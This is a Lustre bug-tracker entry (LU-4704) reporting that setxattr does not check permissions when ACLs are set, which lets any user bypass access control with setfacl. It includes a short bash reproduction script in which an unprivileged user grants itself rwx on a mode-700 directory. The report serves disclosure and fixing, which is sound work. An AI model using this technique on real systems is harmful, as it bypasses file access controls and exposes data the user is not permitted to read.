[LU-4704] Permission checking is missing when setfacl

• Type: Bug
• Resolution: Duplicate
• Priority: Blocker
• Fix Version/s: Lustre 2.6.0, Lustre 2.5.1, Lustre 2.4.3
• Affects Version/s: Lustre 2.6.0
• Labels: patch
• Severity: 3
• Assignee: Emoly Liu
• Reporter: Li Xi (Inactive)

Description

Setxattr does not check the permission when setting ACL xattrs. This
will cause security problem because any user can walk around permission
checking by changing ACL rules.

Following script will reproduce this problem.
#!/bin/bash
DIR=/mnt/lustre/dir

1. we can got this from Lustre/test
   RUNAS=./runas
   rmdir $DIR
   if [ -e $DIR ]; then
   echo "Please remove $DIR"
   exit 1
   fi

mkdir $DIR
if [ ! -d $DIR ]; then
echo "Faled to mkdir $DIR"
exit 1
fi

chmod 700 $DIR

$RUNAS -u test ls $DIR
if [ $? -eq 0 ]; then
echo "Permission error"
exit 1
fi

$RUNAS -u test setfacl -m u:test:rwx $DIR
if [ $? -ne 0 ]; then
echo "Probelm not reproduced because setfacl failed"
exit 1
fi

echo "Probelm reproduced!!"

$RUNAS -u test ls $DIR
if [ $? -ne 0 ]; then
echo "ACL does not work!"
exit 1
fi

echo "Security problem!!"

Issue Links

• duplicates: LU-4703 setxattr(2) will succeed by a non root user, against a file the user doesn't own.
• is related to: LU-4703 setxattr(2) will succeed by a non root user, against a file the user doesn't own.